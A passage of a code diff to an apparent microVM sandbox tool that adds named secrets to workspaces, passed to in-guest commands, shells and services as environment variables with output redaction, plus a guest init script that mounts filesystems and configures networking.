-1529,6 +1619,16 @@ def main() -> None: return if args.command == "workspace": if args.workspace_command == "create": + secrets = [ + *( + _parse_workspace_secret_option(value) + for value in getattr(args, "secret", []) + ), + *( + _parse_workspace_secret_file_option(value) + for value in getattr(args, "secret_file", []) + ), + ] payload = pyro.create_workspace( environment=args.environment, vcpu_count=args.vcpu_count, @@ -1537,6 +1637,7 @@ def main() -> None: network=args.network, allow_host_compat=args.allow_host_compat, seed_path=args.seed_path, + secrets=secrets or None, ) if bool(args.json): _print_json(payload) @@ -1545,12 +1646,14 @@ def main() -> None: return if args.workspace_command == "exec": command = _require_command(args.command_args) + secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) if bool(args.json): try: payload = pyro.exec_workspace( args.workspace_id, command=command, timeout_seconds=args.timeout_seconds, + secret_env=secret_env or None, ) except Exception as exc: # noqa: BLE001 _print_json({"ok": False, "error": str(exc)}) @@ -1562,6 +1665,7 @@ def main() -> None: args.workspace_id, command=command, timeout_seconds=args.timeout_seconds, + secret_env=secret_env or None, ) except Exception as exc: # noqa: BLE001 print(f"[error] {exc}", file=sys.stderr, flush=True) @@ -1703,12 +1807,14 @@ def main() -> None: return if args.workspace_command == "shell": if args.workspace_shell_command == "open": + secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) try: payload = pyro.open_shell( args.workspace_id, cwd=args.cwd, cols=args.cols, rows=args.rows, + secret_env=secret_env or None, ) except Exception as exc: # noqa: BLE001 if bool(args.json): @@ -1825,6 +1931,7 @@ def main() -> None: elif args.ready_command is not None: readiness = {"type": "command", "command": args.ready_command} command = _require_command(args.command_args) + secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) try: payload = pyro.start_service( args.workspace_id, @@ -1834,6 +1941,7 @@ def main() -> None: readiness=readiness, ready_timeout_seconds=args.ready_timeout_seconds, ready_interval_ms=args.ready_interval_ms, + secret_env=secret_env or None, ) except Exception as exc: # noqa: BLE001 if bool(args.json): diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index cd92478..274e34b 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -30,8 +30,11 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--network", "--allow-host-compat", "--seed-path", + "--secret", + "--secret-file", "--json", ) +PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json") PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json") @@ -45,11 +48,18 @@ PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = ( "--ready-command", "--ready-timeout-seconds", "--ready-interval-ms", + "--secret-env", "--json", ) PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ("--cwd", "--cols", "--rows", "--json") +PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ( + "--cwd", + "--cols", + "--rows", + "--secret-env", + "--json", +) PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ("--cursor", "--max-chars", "--json") PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json") PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json") diff --git a/src/pyro_mcp/runtime.py b/src/pyro_mcp/runtime.py index a950108..832e666 100644 --- a/src/pyro_mcp/runtime.py +++ b/src/pyro_mcp/runtime.py @@ -25,6 +25,7 @@ class RuntimePaths: firecracker_bin: Path jailer_bin: Path guest_agent_path: Path | None + guest_init_path: Path | None artifacts_dir: Path notice_path: Path manifest: dict[str, Any] @@ -93,6 +94,7 @@ def resolve_runtime_paths( firecracker_bin = bundle_root / str(firecracker_entry.get("path", "")) jailer_bin = bundle_root / str(jailer_entry.get("path", "")) guest_agent_path: Path | None = None + guest_init_path: Path | None = None guest = manifest.get("guest") if isinstance(guest, dict): agent_entry = guest.get("agent") @@ -100,11 +102,18 @@ def resolve_runtime_paths( raw_agent_path = agent_entry.get("path") if isinstance(raw_agent_path, str): guest_agent_path = bundle_root / raw_agent_path + init_entry = guest.get("init") + if isinstance(init_entry, dict): + raw_init_path = init_entry.get("path") + if isinstance(raw_init_path, str): + guest_init_path = bundle_root / raw_init_path artifacts_dir = bundle_root / "profiles" required_paths = [firecracker_bin, jailer_bin] if guest_agent_path is not None: required_paths.append(guest_agent_path) + if guest_init_path is not None: + required_paths.append(guest_init_path) for path in required_paths: if not path.exists(): @@ -126,12 +135,17 @@ def resolve_runtime_paths( f"runtime checksum mismatch for {full_path}; expected {raw_hash}, got {actual}" ) if isinstance(guest, dict): - agent_entry = guest.get("agent") - if isinstance(agent_entry, dict): - raw_path = agent_entry.get("path") - raw_hash = agent_entry.get("sha256") + for entry_name, malformed_message in ( + ("agent", "runtime guest agent manifest entry is malformed"), + ("init", "runtime guest init manifest entry is malformed"), + ): + guest_entry = guest.get(entry_name) + if not isinstance(guest_entry, dict): + continue + raw_path = guest_entry.get("path") + raw_hash = guest_entry.get("sha256") if not isinstance(raw_path, str) or not isinstance(raw_hash, str): - raise RuntimeError("runtime guest agent manifest entry is malformed") + raise RuntimeError(malformed_message) full_path = bundle_root / raw_path actual = _sha256(full_path) if actual != raw_hash: @@ -145,6 +159,7 @@ def resolve_runtime_paths( firecracker_bin=firecracker_bin, jailer_bin=jailer_bin, guest_agent_path=guest_agent_path, + guest_init_path=guest_init_path, artifacts_dir=artifacts_dir, notice_path=notice_path, manifest=manifest, @@ -227,6 +242,7 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]: "firecracker_bin": str(paths.firecracker_bin), "jailer_bin": str(paths.jailer_bin), "guest_agent_path": str(paths.guest_agent_path) if paths.guest_agent_path else None, + "guest_init_path": str(paths.guest_init_path) if paths.guest_init_path else None, "artifacts_dir": str(paths.artifacts_dir), "artifacts_present": paths.artifacts_dir.exists(), "notice_path": str(paths.notice_path), diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init new file mode 100644 index 0000000..2e8a82a --- /dev/null +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init @@ -0,0 +1,57 @@ +#!/bin/sh +set -eu + +PATH=/usr/sbin:/usr/bin:/sbin:/bin +AGENT=/opt/pyro/bin/pyro_guest_agent.py + +mount -t proc proc /proc || true +mount -t sysfs sysfs /sys || true +mount -t devtmpfs devtmpfs /dev || true +mkdir -p /dev/pts /run /tmp +mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true +hostname pyro-vm || true + +cmdline="$(cat /proc/cmdline 2>/dev/null || true)" + +get_arg() { + key="$1" + for token in $cmdline; do + case "$token" in + "$key"=*) + printf '%s' "${token#*=}" + return 0 + ;; + esac + done + return 1 +} + +ip link set lo up || true +if ip link show eth0 >/dev/null 2>&1; then + ip link set eth0 up || true + guest_ip="$(get_arg pyro.guest_ip || true)" + gateway_ip="$(get_arg pyro.gateway_ip || true)" + netmask="$(get_arg pyro.netmask || true)" + dns_csv="$(get_arg pyro.dns || true)" + if [ -n "$guest_ip" ] && [ -n "$netmask" ]; then + ip addr add "$guest_ip/$netmask" dev eth0 || true + fi + if [ -n "$gateway_ip" ]; then + ip route add default via "$gateway_ip" dev eth0 || true + fi + if [ -n "$dns_csv" ]; then + : > /etc/resolv.conf + old_ifs="$IFS" + IFS=, + for dns in $dns_csv; do + printf 'nameserver %s\n' "$dns" >> /etc/resolv.conf + done + IFS="$old_ifs" + fi +fi + +if [ -f "$AGENT" ]; then + python3 "$AGENT" & +fi + +exec /bin/sh -lc 'trap : TERM INT; while true; do sleep 3600; done' diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py index 739bc67..607c76d 100755 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py @@ -10,6 +10,7 @@ import json import os import re import shlex +import shutil import signal import socket import struct @@ -29,6 +30,7 @@ BUFFER_SIZE = 65536 WORKSPACE_ROOT = PurePosixPath("/workspace") SHELL_ROOT = Path("/run/pyro-shells") SERVICE_ROOT = Path("/run/pyro-services") +SECRET_ROOT = Path("/run/pyro-secrets") SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") SHELL_SIGNAL_MAP = { "HUP": signal.SIGHUP, @@ -42,6 +44,17 @@ _SHELLS: dict[str, "GuestShellSession"] = {} _SHELLS_LOCK = threading.Lock() +def _redact_text(text: str, redact_values: list[str]) -> str: + redacted = text + for secret_value in sorted( + {item for item in redact_values if item != ""}, + key=len, + reverse=True, + ): + redacted = redacted.replace(secret_value, "[REDACTED]") + return redacted + + def _read_request(conn: socket.socket) -> dict[str, Any]: chunks: list[bytes] = [] while True: @@ -139,6 +152,15 @@ def _service_metadata_path(service_name: str) -> Path: return SERVICE_ROOT / f"{service_name}.json" +def _normalize_secret_name(secret_name: str) -> str: + normalized = secret_name.strip() + if normalized == "": + raise RuntimeError("secret name is required") + if re.fullmatch(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$", normalized) is None: + raise RuntimeError("secret name is invalid") + return normalized + + def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: target = link_target.strip() if target == "": @@ -215,6 +237,49 @@ def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: } +def _install_secrets_archive(payload: bytes) -> dict[str, Any]: + SECRET_ROOT.mkdir(parents=True, exist_ok=True) + for existing in SECRET_ROOT.iterdir(): + if existing.is_dir() and not existing.is_symlink(): + shutil.rmtree(existing, ignore_errors=True) + else: + existing.unlink(missing_ok=True) + bytes_written = 0 + entry_count = 0 + with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_member_name(member.name) + target_path = SECRET_ROOT.joinpath(*member_name.parts) + entry_count += 1 + if member.isdir(): + target_path.mkdir(parents=True, exist_ok=True) + target_path.chmod(0o700) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + target_path.parent.chmod(0o700) + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read secret archive member: {member.name}") + with target_path.open("wb") as handle: + while True: + chunk = source.read(BUFFER_SIZE) + if chunk == b"": + break + handle.write(chunk) + target_path.chmod(0o600) + bytes_written += member.size + continue + if member.issym() or member.islnk(): + raise RuntimeError(f"secret archive may not contain links: {member.name}") + raise RuntimeError(f"unsupported secret archive member type: {member.name}") + return { + "destination": str(SECRET_ROOT), + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + def _inspect_archive(archive_path: Path) -> tuple[int, int]: entry_count = 0 bytes_written = 0 @@ -263,13 +328,22 @@ def _prepare_export_archive(path: str) -> dict[str, Any]: raise -def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: +def _run_command( + command: str, + timeout_seconds: int, + *, + env: dict[str, str] | None = None, +) -> dict[str, Any]: started = time.monotonic() + command_env = os.environ.copy() + if env is not None: + command_env.update(env) try: proc = subprocess.run( ["/bin/sh", "-lc", command], text=True, capture_output=True, + env=command_env, timeout=timeout_seconds, check=False, ) @@ -293,6 +367,16 @@ def _set_pty_size(fd: int, rows: int, cols: int) -> None: fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) +def _shell_argv(*, interactive: bool) -> list[str]: + shell_program = shutil.which("bash") or "/bin/sh" + argv = [shell_program] + if shell_program.endswith("bash"): + argv.extend(["--noprofile", "--norc"]) + if interactive: + argv.append("-i") + return argv + + class GuestShellSession: """In-guest PTY-backed interactive shell session.""" @@ -304,6 +388,8 @@ class GuestShellSession: cwd_text: str, cols: int, rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> None: self.shell_id = shell_id self.cwd = cwd_text @@ -316,6 +402,7 @@ class GuestShellSession: self._lock = threading.RLock() self._output = "" self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + self._redact_values = list(redact_values or []) self._metadata_path = SHELL_ROOT / f"{shell_id}.json" self._log_path = SHELL_ROOT / f"{shell_id}.log" self._master_fd: int | None = None @@ -331,8 +418,10 @@ class GuestShellSession: "PROMPT_COMMAND": "", } ) + if env_overrides is not None: + env.update(env_overrides) process = subprocess.Popen( # noqa: S603 - ["/bin/bash", "--noprofile", "--norc", "-i"], + _shell_argv(interactive=True), stdin=slave_fd, stdout=slave_fd, stderr=slave_fd, @@ -371,8 +460,9 @@ class GuestShellSession: def read(self, *, cursor: int, max_chars: int) -> dict[str, Any]: with self._lock: - clamped_cursor = min(max(cursor, 0), len(self._output)) - output = self._output[clamped_cursor : clamped_cursor + max_chars] + redacted_output = _redact_text(self._output, self._redact_values) + clamped_cursor = min(max(cursor, 0), len(redacted_output)) + output = redacted_output[clamped_cursor : clamped_cursor + max_chars] next_cursor = clamped_cursor + len(output) payload = self.summary() payload.update( @@ -380,7 +470,7 @@ class GuestShellSession: "cursor": clamped_cursor, "next_cursor": next_cursor, "output": output, - "truncated": next_cursor < len(self._output), + "truncated": next_cursor < len(redacted_output), } ) return payload @@ -514,6 +604,8 @@ def _create_shell( cwd_text: str, cols: int, rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> GuestShellSession: _, cwd_path = _normalize_shell_cwd(cwd_text) with _SHELLS_LOCK: @@ -525,6 +617,8 @@ def _create_shell( cwd_text=cwd_text, cols=cols, rows=rows, + env_overrides=env_overrides, + redact_values=redact_values, ) _SHELLS[shell_id] = session return session @@ -634,7 +728,12 @@ def _refresh_service_payload(service_name: str, payload: dict[str, Any]) -> dict return refreshed -def _run_readiness_probe(readiness: dict[str, Any] | None, *, cwd: Path) -> bool: +def _run_readiness_probe( + readiness: dict[str, Any] | None, + *, + cwd: Path, + env: dict[str, str] | None = None, +) -> bool: if readiness is None: return True readiness_type = str(readiness["type"]) @@ -658,11 +757,15 @@ def _run_readiness_probe(readiness: dict[str, Any] | None, *, cwd: Path) -> bool except (urllib.error.URLError, TimeoutError, ValueError): return False if readiness_type == "command": + command_env = os.environ.copy() + if env is not None: + command_env.update(env) proc = subprocess.run( # noqa: S603 ["/bin/sh", "-lc", str(readiness["command"])], cwd=str(cwd), text=True, capture_output=True, + env=command_env, timeout=10, check=False, ) @@ -678,6 +781,7 @@ def _start_service( readiness: dict[str, Any] | None, ready_timeout_seconds: int, ready_interval_ms: int, + env: dict[str, str] | None = None, ) -> dict[str, Any]: normalized_service_name = _normalize_service_name(service_name) normalized_cwd, cwd_path = _normalize_shell_cwd(cwd_text) @@ -718,9 +822,13 @@ def _start_service( encoding="utf-8", ) runner_path.chmod(0o700) + service_env = os.environ.copy() + if env is not None: + service_env.update(env) process = subprocess.Popen( # noqa: S603 [str(runner_path)], cwd=str(cwd_path), + env=service_env, text=True, start_new_session=True, ) @@ -747,7 +855,7 @@ def _start_service( payload["ended_at"] = payload.get("ended_at") or time.time() _write_service_metadata(normalized_service_name, payload) return payload - if _run_readiness_probe(readiness, cwd=cwd_path): + if _run_readiness_probe(readiness, cwd=cwd_path, env=env): payload["ready_at"] = time.time() _write_service_metadata(normalized_service_name, payload) return payload @@ -817,16 +925,38 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: destination = str(request.get("destination", "/workspace")) payload = _read_exact(conn, archive_size) return _extract_archive(payload, destination) + if action == "install_secrets": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + payload = _read_exact(conn, archive_size) + return _install_secrets_archive(payload) if action == "open_shell": shell_id = str(request.get("shell_id", "")).strip() if shell_id == "": raise RuntimeError("shell_id is required") cwd_text, _ = _normalize_shell_cwd(str(request.get("cwd", "/workspace"))) + env_payload = request.get("env") + env_overrides = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("shell env must be a JSON object") + env_overrides = { + _normalize_secret_name(str(key)): str(value) for key, value in env_payload.items() + } + redact_values_payload = request.get("redact_values") + redact_values: list[str] | None = None + if redact_values_payload is not None: + if not isinstance(redact_values_payload, list): + raise RuntimeError("redact_values must be a list") + redact_values = [str(item) for item in redact_values_payload] session = _create_shell( shell_id=shell_id, cwd_text=cwd_text, cols=int(request.get("cols", 120)), rows=int(request.get("rows", 30)), + env_overrides=env_overrides, + redact_values=redact_values, ) return session.summary() if action == "read_shell": @@ -866,6 +996,15 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: cwd_text = str(request.get("cwd", "/workspace")) readiness = request.get("readiness") readiness_payload = dict(readiness) if isinstance(readiness, dict) else None + env_payload = request.get("env") + env = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("service env must be a JSON object") + env = { + _normalize_secret_name(str(key)): str(value) + for key, value in env_payload.items() + } return _start_service( service_name=service_name, command=command, @@ -873,6 +1012,7 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: readiness=readiness_payload, ready_timeout_seconds=int(request.get("ready_timeout_seconds", 30)), ready_interval_ms=int(request.get("ready_interval_ms", 500)), + env=env, ) if action == "status_service": service_name = str(request.get("service_name", "")).strip() @@ -887,12 +1027,19 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: return _stop_service(service_name) command = str(request.get("command", "")) timeout_seconds = int(request.get("timeout_seconds", 30)) - return _run_command(command, timeout_seconds) + env_payload = request.get("env") + env = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("exec env must be a JSON object") + env = {_normalize_secret_name(str(key)): str(value) for key, value in env_payload.items()} + return _run_command(command, timeout_seconds, env=env) def main() -> None: SHELL_ROOT.mkdir(parents=True, exist_ok=True) SERVICE_ROOT.mkdir(parents=True, exist_ok=True) + SECRET_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json index 65229d9..3dcc733 100644 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json @@ -25,7 +25,11 @@ "guest": { "agent": { "path": "guest/pyro_guest_agent.py", - "sha256": "58dd2e09d05538228540d8c667b1acb42c2e6c579f7883b70d483072570f2499" + "sha256": "76a0bd05b523bb952ab9eaf5a3f2e0cbf1fc458d1e44894e2c0d206b05896328" + }, + "init": { + "path": "guest/pyro-init", + "sha256": "96e3653955db049496cc9dc7042f3778460966e3ee7559da50224ab92ee8060b" } }, "platform": "linux-x86_64", diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 3611bf1..7a5e82e 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.8.0" +DEFAULT_CATALOG_VERSION = "2.9.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_guest.py b/src/pyro_mcp/vm_guest.py index 253bc98..e2f2c88 100644 --- a/src/pyro_mcp/vm_guest.py +++ b/src/pyro_mcp/vm_guest.py @@ -80,6 +80,7 @@ class VsockExecClient: command: str, timeout_seconds: int, *, + env: dict[str, str] | None = None, uds_path: str | None = None, ) -> GuestExecResponse: payload = self._request_json( @@ -88,6 +89,7 @@ class VsockExecClient: { "command": command, "timeout_seconds": timeout_seconds, + "env": env, }, timeout_seconds=timeout_seconds, uds_path=uds_path, @@ -136,6 +138,40 @@ class VsockExecClient: bytes_written=int(payload.get("bytes_written", 0)), ) + def install_secrets( + self, + guest_cid: int, + port: int, + archive_path: Path, + *, + timeout_seconds: int = 60, + uds_path: str | None = None, + ) -> GuestArchiveResponse: + request = { + "action": "install_secrets", + "archive_size": archive_path.stat().st_size, + } + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + with archive_path.open("rb") as handle: + for chunk in iter(lambda: handle.read(65536), b""): + sock.sendall(chunk) + payload = self._recv_json_payload(sock) + finally: + sock.close() + + if not isinstance(payload, dict): + raise RuntimeError("guest secret install response must be a JSON object") + error = payload.get("error") + if error is not None: + raise RuntimeError(str(error)) + return GuestArchiveResponse( + destination=str(payload.get("destination", "/run/pyro-secrets")), + entry_count=int(payload.get("entry_count", 0)), + bytes_written=int(payload.get("bytes_written", 0)), + ) + def export_archive( self, guest_cid: int, @@ -191,6 +227,8 @@ class VsockExecClient: cwd: str, cols: int, rows: int, + env: dict[str, str] | None = None, + redact_values: list[str] | None = None, timeout_seconds: int = 30, uds_path: str | None = None, ) -> GuestShellSummary: @@ -203,6 +241,8 @@ class VsockExecClient: "cwd": cwd, "cols": cols, "rows": rows, + "env": env, + "redact_values": redact_values, }, timeout_seconds=timeout_seconds, uds_path=uds_path, @@ -336,6 +376,7 @@ class VsockExecClient: readiness: dict[str, Any] | None, ready_timeout_seconds: int, ready_interval_ms: int, + env: dict[str, str] | None = None, timeout_seconds: int = 60, uds_path: str | None = None, ) -> dict[str, Any]: @@ -350,6 +391,7 @@ class VsockExecClient: "readiness": readiness, "ready_timeout_seconds": ready_timeout_seconds, "ready_interval_ms": ready_interval_ms, + "env": env, }, timeout_seconds=timeout_seconds, uds_path=uds_path, diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 9f9cc51..0457523 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -3,6 +3,7 @@ from __future__ import annotations import difflib +import io import json import os import re @@ -49,7 +50,7 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False -WORKSPACE_LAYOUT_VERSION = 5 +WORKSPACE_LAYOUT_VERSION = 6 WORKSPACE_BASELINE_DIRNAME = "baseline" WORKSPACE_BASELINE_ARCHIVE_NAME = "workspace.tar" WORKSPACE_SNAPSHOTS_DIRNAME = "snapshots" @@ -57,10 +58,14 @@ WORKSPACE_DIRNAME = "workspace" WORKSPACE_COMMANDS_DIRNAME = "commands" WORKSPACE_SHELLS_DIRNAME = "shells" WORKSPACE_SERVICES_DIRNAME = "services" +WORKSPACE_SECRETS_DIRNAME = "secrets" WORKSPACE_RUNTIME_DIRNAME = "runtime" WORKSPACE_GUEST_PATH = "/workspace" WORKSPACE_GUEST_AGENT_PATH = "/opt/pyro/bin/pyro_guest_agent.py" +WORKSPACE_GUEST_INIT_PATH = "/opt/pyro/bin/pyro-init" +WORKSPACE_GUEST_SECRETS_PATH = "/run/pyro-secrets" WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS = 60 +WORKSPACE_SECRET_MAX_BYTES = 64 * 1024 DEFAULT_SHELL_COLS = 120 DEFAULT_SHELL_ROWS = 30 DEFAULT_SHELL_MAX_CHARS = 65536 @@ -70,11 +75,13 @@ DEFAULT_SERVICE_LOG_TAIL_LINES = 200 WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() WORKSPACE_SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") WORKSPACE_SNAPSHOT_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") +WORKSPACE_SECRET_NAME_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$") WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] WorkspaceArtifactType = Literal["file", "directory", "symlink"] WorkspaceServiceReadinessType = Literal["file", "tcp", "http", "command"] WorkspaceSnapshotKind = Literal["baseline", "named"] +WorkspaceSecretSourceKind = Literal["literal", "file"] @dataclass @@ -119,6 +126,7 @@ class WorkspaceRecord: command_count: int = 0 last_command: dict[str, Any] | None = None workspace_seed: dict[str, Any] = field(default_factory=dict) + secrets: list[WorkspaceSecretRecord] = field(default_factory=list) reset_count: int = 0 last_reset_at: float | None = None @@ -130,6 +138,7 @@ class WorkspaceRecord: command_count: int = 0, last_command: dict[str, Any] | None = None, workspace_seed: dict[str, Any] | None = None, + secrets: list[WorkspaceSecretRecord] | None = None, ) -> WorkspaceRecord: return cls( workspace_id=instance.vm_id, @@ -149,6 +158,7 @@ class WorkspaceRecord: command_count=command_count, last_command=last_command, workspace_seed=dict(workspace_seed or _empty_workspace_seed_payload()), + secrets=list(secrets or []), reset_count=0, last_reset_at=None, ) @@ -192,6 +202,7 @@ class WorkspaceRecord: "command_count": self.command_count, "last_command": self.last_command, "workspace_seed": self.workspace_seed, + "secrets": [secret.to_payload() for secret in self.secrets], "reset_count": self.reset_count, "last_reset_at": self.last_reset_at, } @@ -216,6 +227,7 @@ class WorkspaceRecord: command_count=int(payload.get("command_count", 0)), last_command=_optional_dict(payload.get("last_command")), workspace_seed=_workspace_seed_dict(payload.get("workspace_seed")), + secrets=_workspace_secret_records(payload.get("secrets")), reset_count=int(payload.get("reset_count", 0)), last_reset_at=( None @@ -225,6 +237,30 @@ class WorkspaceRecord: ) +@dataclass(frozen=True) +class WorkspaceSecretRecord: + """Persistent secret metadata stored on disk per workspace.""" + + name: str + source_kind: WorkspaceSecretSourceKind + stored_path: str + + def to_payload(self) -> dict[str, Any]: + return { + "name": self.name, + "source_kind": self.source_kind, + "stored_path": self.stored_path, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceSecretRecord: + return cls( + name=str(payload["name"]), + source_kind=cast(WorkspaceSecretSourceKind, str(payload.get("source_kind", "literal"))), + stored_path=str(payload["stored_path"]), + ) + + @dataclass class WorkspaceSnapshotRecord: """Persistent snapshot metadata stored on disk per workspace.""" @@ -498,6 +534,42 @@ def _workspace_seed_dict(value: object) -> dict[str, Any]: return payload +def _workspace_secret_records(value: object) -> list[WorkspaceSecretRecord]: + if not isinstance(value, list): + return [] + records: list[WorkspaceSecretRecord] = [] + for item in value: + if not isinstance(item, dict): + continue + records.append(WorkspaceSecretRecord.from_payload(item)) + return records + + +def _serialize_workspace_secret_public(secret: WorkspaceSecretRecord) -> dict[str, Any]: + return { + "name": secret.name, + "source_kind": secret.source_kind, + } + + +def _redact_text(text: str, secret_values: list[str]) -> str: + redacted = text + for secret_value in sorted( + {value for value in secret_values if value != ""}, + key=len, + reverse=True, + ): + redacted = redacted.replace(secret_value, "[REDACTED]") + return redacted + + +def _redact_exception(exc: Exception, secret_values: list[str]) -> Exception: + redacted_message = _redact_text(str(exc), secret_values) + if redacted_message == str(exc): + return exc + return exc.__class__(redacted_message) + + def _serialize_network(network: NetworkConfig | None) -> dict[str, Any] | None: if network is None: return None @@ -530,9 +602,17 @@ def _deserialize_network(payload: object) -> NetworkConfig | None: ) -def _run_host_command(workdir: Path, command: str, timeout_seconds: int) -> VmExecResult: +def _run_host_command( + workdir: Path, + command: str, + timeout_seconds: int, + *, + env_overrides: dict[str, str] | None = None, +) -> VmExecResult: started = time.monotonic() env = {"PATH": os.environ.get("PATH", ""), "HOME": str(workdir)} + if env_overrides is not None: + env.update(env_overrides) try: proc = subprocess.run( # noqa: S603 ["bash", "-lc", command], # noqa: S607 @@ -679,6 +759,111 @@ def _write_empty_seed_archive(archive_path: Path) -> None: pass +def _prepare_workspace_secrets( + secrets: list[dict[str, str]] | None, + *, + secrets_dir: Path, +) -> tuple[list[WorkspaceSecretRecord], dict[str, str]]: + if not secrets: + return [], {} + secrets_dir.mkdir(parents=True, exist_ok=True) + records: list[WorkspaceSecretRecord] = [] + values_by_name: dict[str, str] = {} + for index, item in enumerate(secrets, start=1): + if not isinstance(item, dict): + raise ValueError(f"secret #{index} must be a dictionary") + raw_name = item.get("name") + if raw_name is None: + raise ValueError(f"secret #{index} is missing 'name'") + name = _normalize_workspace_secret_name(str(raw_name)) + if name in values_by_name: + raise ValueError(f"duplicate secret name: {name}") + has_value = "value" in item + has_file_path = "file_path" in item + if has_value == has_file_path: + raise ValueError( + f"secret {name!r} must provide exactly one of 'value' or 'file_path'" + ) + source_kind: WorkspaceSecretSourceKind + if has_value: + value = _validate_workspace_secret_value(name, str(item["value"])) + source_kind = "literal" + else: + raw_file_path = str(item["file_path"]).strip() + if raw_file_path == "": + raise ValueError(f"secret {name!r} file_path must not be empty") + resolved_file_path = Path(raw_file_path).expanduser().resolve() + if not resolved_file_path.exists() or not resolved_file_path.is_file(): + raise ValueError(f"secret file for {name!r} does not exist: {resolved_file_path}") + try: + raw_bytes = resolved_file_path.read_bytes() + except OSError as exc: + raise ValueError( + f"failed to read secret file for {name!r}: {resolved_file_path}" + ) from exc + if len(raw_bytes) > WORKSPACE_SECRET_MAX_BYTES: + raise ValueError( + f"secret {name!r} must be at most {WORKSPACE_SECRET_MAX_BYTES} bytes" + ) + try: + value = raw_bytes.decode("utf-8") + except UnicodeDecodeError as exc: + raise ValueError(f"secret {name!r} must be valid UTF-8 text") from exc + value = _validate_workspace_secret_value(name, value) + source_kind = "file" + stored_path = f"{name}.secret" + secret_path = 